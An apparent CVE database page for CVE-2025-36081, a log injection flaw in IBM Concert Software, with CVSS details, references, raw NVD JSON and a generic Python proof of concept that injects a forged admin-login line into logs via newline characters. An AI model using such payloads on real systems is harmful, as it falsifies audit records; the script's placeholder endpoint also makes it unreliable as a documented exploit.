CVE-2025-36081

Description

IBM Concert Software 1.0.0 through 2.0.0 could allow a user to modify system logs due to improper neutralization of log input.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

IBM Concert Software >= 1.0.0

IBM Concert Software <= 2.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-36081 PoC - Log Injection in IBM Concert Software
# Affected versions: 1.0.0 - 2.0.0

import requests
import json

TARGET_URL = "https://target-host/api/logs"

def exploit_log_injection():
    """
    This PoC demonstrates log injection by injecting fake log entries
    through improper input sanitization in IBM Concert Software.
    """
    # Malicious payload with newline characters to inject fake log entries
    malicious_payload = "Normal log entry\n2025-01-01 00:00:00 INFO [ADMIN] User admin logged in from 127.0.0.1"
    
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0"
    }
    
    data = {
        "action": "log",
        "message": malicious_payload
    }
    
    try:
        response = requests.post(TARGET_URL, json=data, headers=headers, timeout=10)
        print(f"[*] Status Code: {response.status_code}")
        print(f"[*] Response: {response.text}")
        
        if response.status_code == 200:
            print("[+] Log injection successful - fake log entries may be created")
        else:
            print("[-] Request failed")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    print("CVE-2025-36081 - IBM Concert Software Log Injection PoC")
    print("=" * 60)
    exploit_log_injection()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-36081
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-36081
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-36081/
[4] VulDB https://vuldb.com/cve/CVE-2025-36081
[5] https://www.ibm.com/support/pages/node/7249356

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-36081", "sourceIdentifier": "[email protected]", "published": "2025-10-28T15:16:12.270", "lastModified": "2025-10-31T19:01:21.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert Software\n\n1.0.0 through 2.0.0 could allow a user to modify system logs due to improper neutralization of log input."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-117"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.1.0", "matchCriteriaId": "43072AC2-05A5-41A3-9E79-E0AF2C5AD3FF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7249356", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}